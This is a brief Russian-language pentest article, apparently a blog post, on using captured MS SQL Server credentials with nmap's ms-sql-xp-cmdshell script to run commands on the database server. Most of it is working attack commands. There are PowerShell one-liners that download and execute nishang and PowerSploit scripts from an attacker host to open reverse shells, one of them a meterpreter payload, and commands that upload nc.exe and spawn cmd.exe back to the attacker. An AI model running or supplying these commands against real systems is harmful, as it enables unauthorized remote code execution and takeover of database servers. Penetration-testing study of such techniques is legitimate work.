Содержание статьи
Если во время пентеста, вы смогли получить учетные данные Microsoft SQL Server, тогда, с помощью сценария nmap NSE ms-sql-xp-cmdshell, можно выполнить любую команду на сервере базы данных:
1 |
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="whoami" $IP |
Необходимо заменить следующие параметры вышеуказанной команды:
- mssql.username
- mssql.password
- ms-sql-xp-cmdshell.cmd
Если хотите получить обратный шелл (reverse shell) в качестве бекконекта, можете использовать любую из платформ постэксплуатации Windows Powershell.
Обратный шелл xp_cmdshell с помощью nishang
1 |
powershell.exe -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://$IP/winpost/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress $IP -Port 443" |
Обратный шелл xp_cmdshell с помощью Powersploit
1 |
powershell.exe -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://$IP:8000/CodeExecution/Invoke-Shellcode.ps1');\ Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $LOCALIP -Lport 4444 -Force" |
Обратный шелл xp_cmdshell с помощью NetCat
Сначала нужно с нашего хоста (192.168.1.3) закинуть nc на целевую машину (192.168.1.10) :
1 |
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="powershell.exe wget http://192.168.1.3/nc.exe -OutFile c:\\Users\Public\\nc.exe" 192.168.1.10 |
Теперь можно выполнить обратный шелл:
1 |
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="c:\\Users\Public\\nc.exe -e cmd.exe 192.168.1.3 4444" 192.168.1.10 |
Еще по теме:
- Проброс портов при пентесте и постэксплуатации
- Организация GUI в пентесте при постэксплуатации Windows